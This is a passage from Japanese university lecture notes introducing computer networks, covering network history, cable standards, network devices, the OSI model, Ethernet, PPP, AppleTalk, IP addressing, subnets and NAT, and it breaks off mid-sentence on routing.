第3章コンピュータネットワーク

数理解析・計算機数学特論
71
第 3 章コンピュータネットワーク
3.1
コンピュータネットワークとは
最近になって, 「インターネット」という言葉が世間でもてはやされるようになった. しかし, インター
ネットが実際にどのようなものであるかを知る人は少ないのではないだろうか？ここでは, インターネット
とはどのようなものか, その内容についての解説をする. インターネットに関する文献としては [1], [2] 等
にまとめられている.
3.1.1
コンピュータネットワークの歴史
コンピュータネットワーク (computer network) とは, 大型計算機, UNIX ワークステーション, パー
ソナルコンピュータなどを通信回線で接続し, 相互にデータ（情報）の交換を行うシステムを指す.
冒頭の歴史にも述べた通り, コンピュータネットワークは, １９６９年の ARPANET に始まる. このこ
ろのネットワークは２台のコンピュータの間を電話回線による情報のやり取りを, 一定時間ごとに複数のコ
ンピュータの間で行うことで仮想的なネットワークを作っていた1 .
毎時２０分
Host A
Host B
特定のコンピュータは通信時には他の１台としか通信でき
ない場合に, ４台のコンピュータによる相互の電話回線での
接続には, このようなスケジュールで通信を行えば良い. こ
毎時０分
毎時４０分
毎時４０分
毎時０分
の場合, ２０分以内にデータの転送が終了しなければ, 他の
ホストへのデータ転送に影響が出る. コンピュータネット
ワークに接続された各コンピュータはホスト (host) と呼ば
Host C
毎時２０分
Host D
れる.
電話回線による転送を行っていた時代2 では通信速度は最大でも 9600 bps3 であった.
その後, 専用回線を利用し, TCP/IP と呼ばれる通信規約を採用した, 常時接続型のネットワークに移行
していく.
1 UUCP
(Unix to Unix CoPy) と呼ばれる規格.
年頃までは, 電話回線での通信の方が主流であった.
3 bps とは bits per second のこと. 一般に電話回線では非同期通信を行うため, 8 ビットのデータを転送するためには 10 ビッ
トのデータを送る必要があった. したがって, ２０分間（＝１２００秒間）に送ることの出来るデータ量は, およそ 1 M バイト程度
であることがわかる. 一般にバイトを省略する記号として “B” を使い, ビットを省略する記号として “b” を使う.
2 1990
network.tex,v 1.31 2003-06-10 16:17:16+09 naito Exp
数理解析・計算機数学特論
72
海外（主にアメリカ）
日本
１９７９
USENET
１９８１
CSNET
１９８２
ARPANET が TCP/IP を採用
１９８４
DNS の開発
１９８６
NFSNET
JUNET (UUCP)
１９８８
東京大学・東京工業大学・慶応義塾大学間
を専用回線で接続する WIDE プロジェ
クト
１９８９
１９９０
CompuServe とインターネットの
接続
初の商用プロバイダ “The World”
ARPANET 終了
この表にもある通り, １９８０年代半ば頃までには, アメリカ国内の主要研究機関はコンピュータネット
ワークにより相互に接続されていた. 日本国内では, １９９８年の WIDE プロジェクトにより, はじめて
常時接続型のネットワークの実験が始まる.
海外（主にアメリカ）
１９９１
WWW の開発
日本初のプロバイダ IIJ, AT&T Jens
１９９２
１９９３
日本
InterNIC の設立
１９９４
IIJ による IP 接続の開始
日本インターネット協会設立, JUNET
解散
１９９０年代初頭には, 国立主要大学内と大学間コンピュータネットワークが整備され, 国立主要大学や企
業間で常時接続型のネットワークが利用できるようになる.
3.1.2
LAN とインターネット
コンピュータネットワークの中で LAN とは Local Area Network の略であり, 一つのビル内のネット
ワークや, 大学キャンパス内のネットワークのように, 地理的に限定された場所に設置されたネットワー
クを指す. より詳しくは, LAN 単位で論理的にネットワークが閉じているものを指す. WAN とは Wide
Area Network の略であり, 広域に広がるネットワークを指す言葉で, LAN から見たとき外部のネットワー
クのことを WAN と呼ぶ.
名古屋大学の場合, （基本的には）一つの建物ごとに LAN が構成され, いくつかの建物内 LAN を結ぶ
LAN １０数個が相互に接続され, 大学全体の LAN を構成している. 一方, 日本全体を見たとき, 文部科学
省学術情報ネットワーク (SINET) のバックボーン (backborn) と呼ばれる高速ネットワークがあり, いく
つかの大学がバックボーンに接続され, バックボーン接続点から近隣の大学へ接続されている.
network.tex,v 1.31 2003-06-10 16:17:16+09 naito Exp
数理解析・計算機数学特論
73
（SINET 接続図. http://www.sinet.ad.jp/ より転載）
日本国内には他に WIDE, IMnet などいくつものバックボーン・ネットワークが存在し, 大学・企業等は
それぞれに応じたネットワークに接続し, それぞれのバックボーンは相互に接続し, 一方で, 海外へも接続
を行っている.
このように多くのネットワーク（この場合はバックボーン単位で一つのネットワークと考えている）が
相互に接続された現在のネットワークをインターネット (Internet) と呼ぶ.
3.1.3
ネットワークのハードウェア
今日のコンピュータネットワークは, ホスト・コンピュータを含む各種のネットワーク機器を相互にネッ
トワーク・ケーブルで結ぶことで構成されている. ここでは, どのようなケーブルや機器が利用されている
かを解説しよう.
3.1.3.1
ネットワークケーブル
現在のコンピュータネットワークは, 一部の例外を除くと, ネットワークは有線ケーブルで接続する. こ
れらのケーブルは金属線（メタル）のものと光ファイバー (Optical Fiber) のものがある.
3.1.3.1.1
メタルケーブルによるネットワーク
ネットワークケーブル（メタル・主要なもの）
規格名
通信速度
接続トポロジー
コネクタ形状
ケーブル形状
10Base-5
10Mbps
バス接続
AUI コネクタ (D-Sub 25 pin)
同軸
10Base-2
10Mbps
バス接続
BNC コネクタ
同軸
4Mbps/16Mbps
リング接続
RJ-45
UTP-3
10Mbps
スター接続
RJ-45
UTP-3
100Mbps
スター接続
RJ-45
UTP-5
1Gbps
スター接続
RJ-45
UTP-6
Token Ring
10Base-T
100Base-TX
1000Base-TX
この表の中で, 10Base-5 の太い同軸ケーブルは被膜が黄色のものが多かったため, “Yellow Cable” と呼
ばれることがある. 現在は UTP ケーブル (Unshielded Twisted Pair, より対線) を利用した 10Base-
T/100Base-TX が主流である. これは, 被膜なしの細い８芯のケーブルで, 取り回しが容易な上, コネクタ
が RJ-45 と呼ばれる, 電話用コネクタのちょっと大きいものを利用しているため, 接続も容易であるという
理由で良く利用されるようになった.
network.tex,v 1.31 2003-06-10 16:17:16+09 naito Exp
数理解析・計算機数学特論
74
通信速度が 10Mbps ということは, 10MHz の信号がケーブル内を流れることとなるため, ケーブルの回
りには誘導磁場が発生する. 同軸ケーブルは芯線の回りをシールドが覆っているため, 誘導磁場はシールド
で遮断されるが, 10Base-T 等に利用されるケーブルは, 取り扱いを容易にするため, “Unshielded” となっ
ているが, 互いに拠り合わされた２本の信号線上に信号を流すことにより, 外部への磁場の漏洩を防いでい
る4 . UTP のカテゴリ (category) とは, 単位長さにおける拠りの回数により決まる規格であり, 高速通信
用のケーブルほど拠り回数が多くなければ安定した信号を流すことは出来ない.
左は FDDI 光ファイバーケーブル. ２つの光ファイバーの端面があること
がわかる.
右は UTP-5 ケーブルと RJ-45 コネクタ. UTP-5 ケーブルが４組の拠り
対線で構成されていることがわかる.
3.1.3.1.2 光ケーブルによるネットワーク光ケーブルとは, 純度の高い石英ガラスをファイバー状にし
たコアと呼ばれるケーブルを, クラッドと呼ばれる被膜で覆ったもので, その中をレーザ光線を流し, 光の
全反射を利用してケーブルの他端へ通信を行う. ケーブルのコアは直径 50 ∼ 60 µ 程度であり, 容易に折
れてしまうため, 取り扱いには注意を要する. 現在利用されている光ケーブルは, シングル・モードとマル
チ・モードの２種類があり, 直進光を伝送対象とするものがシングル・モード, 屈折光を伝送対象とするも
のがマルチ・モード光ファイバーである.
光ケーブルでは磁場の問題は発生しないため高速通信が可能である. さらに, 異なった波長の光を同一の
ファイバー状に流すことができるため通信の多重化が可能となり, これらの性質を組み合わせることにより
超高速通信が可能になっている.
光ファイバーを利用した主な通信規格
規格名
通信速度
ATM
100Mbps ∼ 600Mbps 程度
FDDI
100Mbps
10Base-F
100Base-FX
1000Base-FX
接続トポロジー
対向
リング
10Mbps
スター接続
100Mbps
スター接続
1Gbps
スター接続
ATM は日本国内の電話回線交換器のなすネットワークに用いられている.
3.1.3.1.3
ISDN/ADSL/無線 LAN
通常の家庭で利用する電話回線を経由した IP 接続と呼ばれて
いるものの中で, ISDN (Integrated Services Digital Network) と呼ばれるものがある. ISDN で利用され
るケーブルは, 通常の公衆回線と同様の６極４芯の電話線と同一である.
4 10Base-T/100Base-TX では, ８芯のケーブルのうち, ２組４本しか利用していない. ２組は TX/RX と呼ばれ, あるホストか
ら見たとき, 受信用 (RX) と送信用 (TX) として利用される. TX/RX の片側づつを利用するモード（半二重通信）と, TX/RX を
同時に利用するモード（全二重通信）があり, 100Mbps と呼ぶときには半二重通信での速度を表す. また, TX, RX のそれぞれは２
本１組になったいるが, それぞれのケーブルは TX+, TX− または RX+, RX− と呼ばれ, 同じ信号を論理を変えて送信することに
より, 送信データの信頼性を高めている. すなわち, + 側は正論理で送信し, − 側は負論理で送信することで, 受け取ったデータの差
をとることで受信データを決定する. このような転送方法をディファレンシャル転送 (differential transfer) と呼ぶ.
ハブとホスト間を繋ぐケーブルは, TX-TX, RX-RX と接続された「ストレート・ケーブル」を用いる. ハブのポート内部では
TX-RX 信号線を入れ替える配線になっているため, ホストの TX 信号線のデータは HUB では受信信号線となる. ハブとハブを接
続する場合, または, ホストとホストを接続する場合には, TX-RX となる接続をした「クロス・ケーブル」を用いる.
network.tex,v 1.31 2003-06-10 16:17:16+09 naito Exp
数理解析・計算機数学特論
75
最近, 一般家庭での常時接続のために, ケーブルネットワークや ADSL (Asymmetric Digital Subscriber
Line) が評判になっているが, これらは通常はメタル同軸ケーブルを用いる. Cable ネットワークは, 通常
音声や画像などを配信するために利用されるが, ケーブルの通信帯域がある程度広いことを利用して, 音声
や画像情報を流す帯域とは異なる高周波帯域にデータをアナログ変調して搬送している. ADSL でも, 通常
の音声通信を行う帯域とは異なる高周波帯域にデータをアナログ変調して搬送する. そのため, 電話局から
の距離が遠くなると, 高周波帯域にノイズが入りやすくなるので, ADSL の高速通信を行うには電話局から
の距離がある程度近いことが必要となる. ADSL, Cable ネットワークでは通常モデム (modem) を利用す
るが, 一般にモデムとはデジタル信号をアナログ変調する機器のことを指す.
また, 最近になって, IEEE 802.11b という規格の元での無線ＬＡＮ5 に注目が集まっている. これは
11Mbps の通信無線で行う規格であり, 2.4GHz の周波数帯域6 を利用する.
3.1.3.1.4 WAN で用いられる媒体広域ネットワークを構成する場合には, ISDN 交換網, 専用回線,
X.25, フレームリレーなどの方法を利用する. 専用回線は２つの LAN の間を専用の光ファイバーなどで接
続する方法で, 回線自体に他の利用がないため, セキュリティ上非常に安全であるが, 回線設置費用, 維持
費用など非常に高価になるのが欠点である. それに対して, ISDN, X.25, フレームリレーなどを利用する方
法は, いわゆる公衆交換網（たとえば NTT の電話交換網）を経由して接続する方法で, 現在では比較的安
価に広域ネットワークを構成できるが, データが公衆交換網を通過するため, セキュリティ上の問題が生じ
る. 最近では, LAN から WAN への接続点で通信の暗号化7 を行い, 公衆回線網を通過するデータの安全性
を高める手段が用いられることが多い.
なお, NTT が提供する ISDN とは, INS-64 と INS-1500 にわかれる. INS-64 とは通常の電話回線上に
デジタル信号で 64Kbps のＢチャンネル２本と 16Kbps のＤチャンネル１本を伝送する方法である. Ｂチャ
ンネルは音声（をデジタル信号化したもの）や通常のデータを運ぶチャンネルである. 「ＩＳＤＮの宣伝文
句」にあった「電話しながらインターネット」とは, ２本のＢチャンネルの中で, １本を音声に利用し, も
う１本をデータ転送に利用する方法である. もちろん, ２本のＢチャンネルをデータ転送に利用でき, この
方法では 128Kbps を実現できる8 . INS-1500 とは光ファイバーを用いて, 23B+D という転送を行う方法
であり, この場合には, 23 × 64 = 1472 Kbps, すなわち約 1.5 Mbps を実現可能となる.
3.1.3.2
ネットワーク機器
このような各種のネットワークケーブルを相互に接続する機器がネットワーク機器と呼ばれる各種の装
置であり, 10Base-T/100Base-TX のようなスター型接続を行うものの場合には, コンピュータと接続する
機器にはハブ (hub) と呼ばれる装置を利用する.
各種のネットワーク機器は, ネットワークにおける動作状態により,
• ルータ (router),
5 IEEE 802.11b に準拠した装置は Apple 社の AirPort など多数が発売されている. 通信方式は DSSS (Direct Sequence Spread
Spectrum: 直接拡散方式のスペクトラム拡散通信) を用いている. また, 40 ビットまたは 128 ビットの暗号化通信 (WEP: Wired
Equivalent Privacy) もサポートされている.
6 2.4GHz というのは, 電子レンジのマイクロ波とほぼ同じ周波数である. また, 最近話題の Bluetooth もこの周波数帯を利用す
るが, Bluetooth は FM 変調を行うため, IEEE 802.11b との相互接続性はない. この他にも IEEE 802.11a という 5GHz 帯を利
用して 54Mbps 通信を行う規格, IEEE 802.11g という 2.4GHz 帯で 54Mbps 通信を行う規格に沿った機器が販売されている.
7 LAN 同士の接続のため, WAN を利用する場合, LAN-WAN 接続点で暗号化を行う方法を VPN (Virtual Private Network)
と呼ぶ.
8 INS-64 はフレーム転送で行われている. １フレームは 2B+D で構成され, Ｂチャンネルは 16 ビット, Ｄチャンネルは 4 ビッ
トからなる. さらに, 制御シーケンス 12 ビットを含めると, １フレームは 48 ビットから構成され, １秒間に４０００フレームの転
送が行われる. すなわち, 192000 bps の転送が行われている. また, 公衆回線は 300 Hz の搬送波上に周波数変調でアナログ通信を
行う. この時, 約 3400 Hz でフィルターをかけている. 一方, S/N 比は 3000:1 程度である. したがって, アナログ公衆回線の理論的
速度限界は 3100 ∗ log2 (3001) ∼ 35800 bps となり, いわゆる 33.6K モデムはほぼ理論値限界の速度の転送を行っていることがわ
かる. なお NTT が保証している速度限界は 9600bps である.
network.tex,v 1.31 2003-06-10 16:17:16+09 naito Exp
数理解析・計算機数学特論
76
• ブリッジ (bridge),
• リピータ (repeater),
• ハブ (hub),
• スイッチ (switch)
などと呼ばれる. 同一の機器でも, その動作状態によって呼び名が変ることがありうるので厄介である.
一般に LAN の境界で LAN 相互を接続するために用いられる機器を「ルータ」と呼び, LAN の中で極
めて重要な役割を果たしている. ハブはネットワーク機器としてはリピータの役割を果たし, 経由するリ
ピータの数が多くなると, 通信は不安定になる. 通常, ブリッジを経由するたびにリセットする数え方で, リ
ピータ段数は３段を越えることは出来ない. なお, スイッチング・ハブと呼ばれる機器はネットワーク機器
としてはブリッジの役割を果たす.
3.2
ネットワーク・プロトコル
コンピュータネットワークにおいて, 通信を保証するための規約をプロトコル (protocol) と呼ぶ. 現在
のネットワークで利用されるプロトコルは, どのようなケーブルを利用できるかという物理的なプロトコル
から始まり, 電子メールの交換の規則などを定めたソフトウェア的な部分など広範囲にわたって詳細に定め
られている.
3.2.1
レイヤーモデル
ネットワークプロトコルは, 下の図に示すように, ７層にわたる階層構造をなし, 上位層でのプロトコルは,
すぐ下の層で定められているどのプロトコル上で定義されるかのみを定め, より下位の層のプロトコルは
上位層のプロトコルには影響を与えない. このプロトコルモデルを OSI ７層モデル (OSI layer model)
と呼ぶ.
7. アプリケーション層
6. プレゼンテーション層
NFS, talk,
bootp,
dhcp,
etc.
telnet, ftp, http,
smtp, dns, etc.
5. セッション層
4. トランスポート層
ZIP
TCP
3. ネットワーク層
UDP
IP
2. データリンク層
1. 物理層
AFP
ICMP
RTMP
ATP
AppleTalk（ＤＤＰ）
PPP
Ethernet
10Base-T
ASP
100Base-TX
FDDI
LocalTalk
ISDN
ＯＳＩ層モデル（ごく一部のみ）
各層のおおよその意味は以下の通りである.
1. 物理層媒体の電気的（光学的）特性や機器の形状の定義.
2. データリンク層物理的な通信路の確立.
3. ネットワーク層アドレスの管理と経路の選択.
network.tex,v 1.31 2003-06-10 16:17:16+09 naito Exp
数理解析・計算機数学特論
77
4. トランスポート層データを確実に届ける.
5. セッション層データの受け渡しの手順の定義.
6. プレゼンテーション層データをユーザに理解できる形や通信に適した形に変換.
7. アプリケーション層ユーザにサービスを提供.
これら各層におけるプロトコルは IEEE, ISO, RFC (Request For Comments) 等で定義されている.
上の「ネットワークのハードウェア」で解説した内容は, 「物理層」の定義を解説したことになる. 第２
層から上位の層のプロトコルはソフトウェア的に定義される.
Example 3.2.1 たとえば, telnet というプロトコルは, トランスポート層の TCP プロトコル上に定義
されたもので, TCP はネットワーク層の IP プロトコル9 上で定義されている. IP を定義する下位層は
Ethernet プロトコルであり, Ethernet プロトコルは 10Base-T, 100Base-TX, FDDI, localtalk などの物
理媒体上に流すことが可能である.
3.2.2
ネットワークパケット
コンピュータネットワークにおいて, すべてのデータは物理で定義された媒体上をパケット (packet) と
呼ばれるデータ形式で伝送される. ネットワークパケットはヘッダ (header) と呼ばれる（「宛先の荷札」
に対応する）発信元・宛先などを記述する部分と, データまたはペイロード (payload) と呼ばれる, 通信
内容のデータを含んだ部分から構成される10 .
パケット・ヘッダは各プロトコル上に定義され, すなわち, 各層ごとにパケット・ヘッダがあり, 上位
層のヘッダを含む部分は下位層ではペイロードと見なされる. このようなパケットの構成をカプセル化
(encapslation) と呼ぶ.
Ethernet ヘッダ
IP ヘッダ
IP ヘッダ
TCP ヘッダ
TCP ヘッダ
TCP ヘッダ
telnet データ
telnet データ
telnet データ
データリンク層
ネットワーク層
トランスポート層
上の図のように, データを受け取ったホストは, 各層に対応するソフトウェアまたはドライバを用いて, ヘッ
ダを解析した後, それを取り除き上位層に対応するソフトウェアに処理を渡すことで, 下位層に依存しない
プロトコルを実現している.
各プロトコルのプロトコル・ヘッダには, パケット発信元とパケット送信先のネットワーク・アドレス等
が書かれる. すなわち, ネットワーク・アドレス (network address) は, プロトコルにより決まる概念で
ある.
3.2.3
ネットワーク・プロトコルとネットワーク・アドレス
ネットワークにおいて, ネットワーク・アドレスとは, プロトコルによって決まる概念であるが, ここで
言うアドレスとは, パケット・ヘッダに書き込まれたものだけを扱おう. すなわち, 「電子メール・アドレ
ス」や「ホームページ・アドレス」とは別個のものと考えておこう.
9 IP
は Internet Protocol の略.
ヘッダ部分がパケットの先頭になり, ペイロードがヘッダ部分の後に続く形をとる.
10 名前の通り,
network.tex,v 1.31 2003-06-10 16:17:16+09 naito Exp
数理解析・計算機数学特論
78
3.2.3.1
データリンク層
3.2.3.1.1
Ethernet
Ethernet11 （イーサ・ネットと読む）は, 元々は Xerox 社によって同軸ケーブ
ル上に伝送されるデータの規格として開発されたが, 現在では IEEE 802.3 によって標準化されている.
Ethernet は CSMA/CD 方式12 を行う IEEE 802.3 規格による通信である.
Ethernet プロトコルにおけるアドレスは MAC アドレス (Media Access Control Address) と呼ばれ,
１６進数２桁（オクテット (octet) と呼ぶ）が６つ並んだ形式をしている.
Example 3.2.2 MAC アドレスは 08:00:20:81:96:62 や 00:c0:7b:7f:e1:59 などと書かれる. （A か
ら F は大文字でも小文字でも良い13 .）
MAC アドレスはホストのネットワーク・インターフェース (Network Interface) に付けられたアドレス
と解釈して良く, 実際には, 一部の例外を除いて, ネットワーク・インターフェース・カード (NIC) のカー
ドの ROM に書き込まれている. そのような意味で MAC アドレスのことをハードウェア・アドレスと呼
ぶこともある. なお, MAC アドレスの上位３オクテットは NIC のメーカによって決まった数値であり, 最
上位オクテットの最下位ビットは 0 になっている.
3.2.3.1.2
PPP
PPP (Point to Point Protocol) は, 電話回線, X.25, フレームリレー, SONET (Syn-
chronous Optical Network: 同期光通信網), ISDN 等１対１のネットワーク上に構成されるプロトコルで,
データリンク層とネットワーク層の下位副層上で定義される. PPP はネットワーク層でどのようなプロト
コルを利用するかにより異なったカプセル化を行う. すなわち, PPP パケットは１対１通信を行う物理層
上のプロトコルのため, データリンク層自身にはアドレスは必要とせず, データリンク層ヘッダは圧縮方式
などを定義する機能を持つ. データリンク層を利用して, PPP はネットワーク層アドレスのネゴシエーショ
ンを行う機能を持つ. したがって, PPP データリンクを利用して, IP パケットを交換する際に, 通信路確
立時に IP アドレスを取得する機能を持つ.
3.2.3.2
ネットワーク層
3.2.3.2.1
IP
IP プロトコルは「インターネット」で利用される基本的なプロトコルであり, そのアド
レス体系を IP アドレスと呼ぶ. IP プロトコルは, ネットワークを利用する際に今日では必須の知識と考
えられるため, 後で詳しく解説する.
3.2.3.2.2
AppleTalk
AppleTalk は Apple 社によって定義された, 元々は Apple のコンピュータや
プリンタ等を接続するためのプロトコルであり, 古くは LocalTalk ケーブルと呼ばれるケーブル上にのみ
定義されたものであった. 現在は Ethernet を伝送する各種媒体上で定義され, そのような AppleTalk を正
式には EtherTalk と呼ぶ14 . AppleTalk ではアドレスは動的に制御される. すなわち, AppleTalk アドレ
スは機器がネットワークに接続された際に, 相互のアドレスを検知して, 自身のアドレスを自動的に割り当
てる機能を持つ.
11 Ethernet
の “ETHER” とは「エーテル」のことである.
(Carrier Sence Multiple Access with Collision Detection). ブロードキャスト
(broadcast) 型通信とも呼ばれる. 要するに, ホストからパケットを出したとき, ケーブル上にパケットがあるかどうか（衝突）を
検出し, 衝突が起こっていれば, 再送を行う方式.
13 しかし, 決して “Mac アドレス” とは書かないし, 「マック・アドレス」などとは呼ばない.
14 実際 LocalTalk 上の AppleTalk と EtherTalk ではプロトコルヘッダの定義が異なる. 正式には LocalTalk 上の AppleTalk
のデータリンク層を LLAP, EtherTalk のデータリンク層を ELAP, TokenRing 上の AppleTalk のデータリンク層を TLAP と呼
び, LLAP, ELAP, TLAP の上位に定義されるプロトコルを総称して AppleTalk と呼ぶ.
12 搬送波関知多重アクセス／衝突検出方式
network.tex,v 1.31 2003-06-10 16:17:16+09 naito Exp
数理解析・計算機数学特論
3.2.4
79
プロトコル体系と経路制御とネットワーク機器
Ethernet のような CSMA/CD 方式のネットワークでは, 送出したパケットはネットワーク上のすべての
ホストに対して送付される. したがって, 何らかの形でネットワークを閉鎖的にしないと, 送出したパケッ
トは世界中に転送されてしまう. 一方, 通信したい相手は閉鎖したネットワークの外側にある可能性もある
ので, 何らかの形で閉鎖したネットワークから外部にパケットを転送する必要がある. 閉鎖したネットワー
クの外部に宛先のアドレスを元にパケットの転送を行うことを経路制御 (routing) と呼び, その手続きを
行う機器をルータ (router) と呼ぶ.
実際にネットワークサービスを利用する際に相手を特定するアドレス体系は, ネットワーク層のアドレ
ス（ＩＰアドレスや AppleTalk アドレス）であるため, ルータとはネットワーク層のアドレスを元に経路
制御を行っている. Section 3.1.3.2 で解説した各種ネットワーク機器は, プロトコル体系と密接に結び付い
ている.
ルータネットワーク層のアドレスを元にパケット転送を行う機器.
ブリッジデータリンク層のアドレスを元にパケット転送を行う機器.
リピータ物理層でパケット転送を行う機器.
ハブ 10Base-T などのスター型ネットワークの集線装置. 一般にはリピータとして動作する.
スイッチ形式としてはハブの形態をとり, ブリッジ機能を果たすもの.
レイヤー３スイッチ形式としてはハブの形態をとり, ルータ機能を果たすもの.
Ethernet ヘッダ
IP ヘッダ
TCP ヘッダ
データ
Ethernet ヘッダ
=⇒
(1)
IP ヘッダ
IP ヘッダ
=⇒
(2)
TCP ヘッダ
TCP ヘッダ
データ
データ
=⇒
(3)
IP ヘッダ
TCP ヘッダ
データ
ルータの機能
(2) で IP ヘッダを見て経路制御を行う.
(3) で Ethernet ヘッダを書き換える.
この時の始点 MAC アドレスはルータのもの
となる.
Ethernet ヘッダ
IP ヘッダ
Ethernet ヘッダ
IP ヘッダ
=⇒
TCP ヘッダ
(1)
TCP ヘッダ
データ
データ
ブリッジの機能
(1) で Ethernet ヘッダを見て経路制御を行う.
なお, ネットワーク機器のルータ動作またはブリッジ動作は, ネットワーク層のプロトコルによって切り替
える機能を持つルータもある. ネットワーク層プロトコルごとに見たとき, ルータで区切られた「閉鎖され
た」ネットワークをブロードキャスト・ドメイン (broadcast domain) と呼ぶ. LAN をリピータだけで
構成すると, あるホストから出たパケットは LAN 内のすべての機器に到達するため, ネットワークが非常
network.tex,v 1.31 2003-06-10 16:17:16+09 naito Exp
数理解析・計算機数学特論
80
に混雑する. スイッチ（ブリッジ）をおくことにより, スイッチの学習機能を用いて, 特定の２ホスト間の
通信を他のホストに届かないようにすることが出来る. このような構成を行ったネットワークをスイッチ
ング・ネットワークと呼ぶ.
Host A
Host B
Host A から Host B へのパケットは, Host C, Host D へ
HUB
も届いてしまう. これは, ハブがリピータだからである.
Host C
Host D
Host A
Host B
ハブをスイッチに取り替えると, Host A から Host B への
パケットは, Host C, Host D へは届かなくなる. スイッチ
Switch
はブリッジなので, Host A と Host B の MAC アドレス
により, パケットを送出するポート（ケーブル）を選択して
いる.
Host C
3.2.5
Host D
IP ネットワーク
「インターネット」で利用されるプロトコルは IP プロトコルに限られ, それ以外のネットワーク層プロ
トコルは, 一般には LAN の出口のルータではルーティングされない. 今日の「インターネット」を支えて
いるものは, IP ネットワークであり, IP ネットワークの基本的な仕組みは「インターネット」を理解する
ためには必要不可欠な知識である.
3.2.5.1
IP アドレス
IP アドレス (IP address) は IP プロトコルのアドレス体系で, 今日広く利用されている IP アドレス
体系は IPv4 (IP address Version 4) と呼ばれる, １６進数４桁からなるアドレス体系である.
Example 3.2.3 IP アドレスは 133.6.130.5, 127.0.0.1 などと, １０進数で表示され, 各桁は “.” で区
切って記述される.
IP アドレスは「インターネット」に接続された世界中のホストに対して割り当てられ, IP アドレスを指定
することにより, 世界中のホストを一意的に指定することが出来る. このアドレス体系で指定できるホスト
の総数は
2564 = 232 = 4294967296
であるので, 約４２億となるが, 実際にはすべてのアドレスを有効に利用できるわけではない.
3.2.5.1.1
IP サブネット
IP プロトコルのブロードキャスト・ドメインを IP サブネット (IP subnet)
と呼び, IP サブネットごとに IP アドレスを割り当てる. 大きな組織では, LAN をいくつもの IP サブネッ
トに分割し, 組織に与えられた IP アドレスを各 IP サブネットに割り当てている.
network.tex,v 1.31 2003-06-10 16:17:16+09 naito Exp
数理解析・計算機数学特論
81
Example 3.2.4 名古屋大学には 133.6.XXX.YYY という 2562 = 65536 の IP アドレスが割り当てられて
いる. 名古屋大学では, 各建物ごとに IP サブネットを構成し, 理１号館では 133.6.130.XXX という IP ア
ドレスが割り当てられている.
この例のように, IP アドレスはネットワークを構成する組織ごとに, ある範囲の IP アドレスが割り当てら
れる. したがって, ある IP アドレスがその組織のものか, そうでないかを容易に区別できるように IP アド
レスを割り当てる必要がある. これは, あるホストから他のホストへ IP プロトコルを利用して通信を行う
場合に, 直接パケットを送ることが出来るのか, ルータを経由しなければならないのかを区別する必要があ
るためである. そのための方法が, IP アドレスのサブネット・マスク (subnet mask) の概念である. サ
ブネット・マスクが n ビットであるとは, ３２ビット（IP アドレスのビット長）の上位 n ビットを 1, 下
位 32 − n ビットを 0 にした数値をサブネット・マスクの値とし, サブネット・マスク値と IP アドレスの
ビットごとの AND を取ったものを, ネットワーク部と呼ぶ. （残りの部分をホスト部と呼ぶ.）
Example 3.2.5 ホスト A がホスト B と通信する場合を考えよう. ホスト A の属する IP サブネットの
サブネット・マスクを利用して, 自分自身の IP アドレスのネットワーク部と, ホスト B の IP アドレスの
ネットワーク部を比較する. この時, 両者が一致していれば, ホスト A はホスト B と直接通信可能である
と判断し, そうでなければ, ルータを経由しなければならないと判断する.
IP サブネットの IP アドレスの範囲を表すために, サブネットのネットワーク部のアドレス（ネットワー
ク・アドレス）と, サブネット・マスクのビット数を用いて, XXX.YYY/n 等という書き方をする.
Example 3.2.6 名古屋大学の IP アドレスは 133.6/16 または, 133.6.0.0/16 である. また, 名古屋大
学理１号館の IP アドレスは 133.6.130/24 または, 133.6.130.0/24 である. 理学部Ａ館の IP アドレス
は 133.6.84/22 または, 133.6.84.0/22 であり, これは, 133.6.84.0 から 133.6.87.255 までの範囲を
表す.
84 = (1010100)2
85 = (1010101)2
86 = (1010110)2
87 = (1010111)2
したがって, 理１号館内には 256 台, 理学部Ａ館内には 1024 台のホストを設置できることとなる.
元々は, サブネット・マスクのビット数は 8, 16, 24 のいずれかであって, それぞれ, クラスＡ, クラスＢ, ク
ラスＣと呼ばれていたが, 現在では, 8 の倍数以外のマスクビットも用いられるようになった.
このように, IP アドレスは有限な資源であるため, ホスト数が急増した現在では, 新規の組織が新規 IP
アドレスの取得を申請しても, 数個の IP アドレスしか割り当てを受けないことが多い.
3.2.5.1.1.1
プライベート・アドレス
IP アドレスは世界中で一意的なアドレスを用いなければならな
いが, IP アドレス体系の中には, プライベート・アドレス (private address) と呼ばれる, IP サブネット
内だけで利用できるアドレスがある15 . 具体的には
10.0.0.0/8, 172.16.0.0/16 - 172.31.0.0/16, 192.168.0.0/24 - 192.168.255.0/24
というクラスＡが１個, クラスＢが１６個, クラスＣが２５６個のアドレスであり, これらのアドレスを持
つパケットはルータで切り落とすことにより, サブネット外部に出してはならない. このルールの元に, プ
ライベート・アドレスをサブネット内で自由に利用することが出来る.
15 これに対して, 世界中からアクセス可能な IP アドレス（通常の IP アドレス）をグローバル IP アドレス (global IP address)
と呼ぶことがある.
network.tex,v 1.31 2003-06-10 16:17:16+09 naito Exp
数理解析・計算機数学特論
82
プライベート・アドレスはサブネット外部と通信を行わない装置（プリンタ等）に割り当てて利用した
り, ルータでアドレス変換を行うことにより, サブネット内部のホストすべてにプライベート・アドレスを
割り当てて利用したりする.
Example 3.2.7 グローバル IP アドレスが数個しか無い場合, ルータでプライベート・アドレスとグロー
バル・アドレスの変換を行って, サブネット内部から外部への通信を行うことが多い. この方法を NAT
(Network Address Translation), IP マスカレード (IP masquerade) と呼ぶ16 .
3.2.5.2
IP ルーティング
IP ルーティング (IP routing) とは, IP プロトコルに関する経路制御のことであり, IP サブネットか
ら外部への通信の経路を制御することに相当する.
3.2.5.2.1 経路制御とは IP ルーティングは複雑に入り組んだネットワークを通じて, 目的地にパケッ
トを届けるための最も基本的な技術である. もし, パケットを届けるべきホストが同一のサブネットに属し
ていれば, 中継点（ルータ）を経由することなくパケットをホストに届けることができる. しかし, 目的の
ホストが異ったサブネットに属しているときには, ルータを経由してパケットを送信する必要が生じる. す
なわち, 直接パケットを送ることができる範囲は, IP サブネット内に限られている. そのため, 送出するパ
ケットは一旦ルータに送信され, ルータに保存された経路表に従って, 目的のホストまたは, 次のルータへ
転送が行われる. このように, ルータは２つ以上のネットワークに接続され, 相互のネットワークの間でパ
ケットの適切な交換を行う.
3.2.5.2.2
経路制御の方法
以下では実際の経路制御の一例を考えてみよう. 現在のインターネットでは,
インターネットに参加するネットワークのうち, 同一の管理主体やあるいは同一の管理方針に基づいて運営
されるひとまとまりのネットワークを自律システム (autonomous system, AS) と呼び, AS の集合体と
してインターネットが形成されている. したがって, インターネット全体を見たとき, 多くの AS の間での経
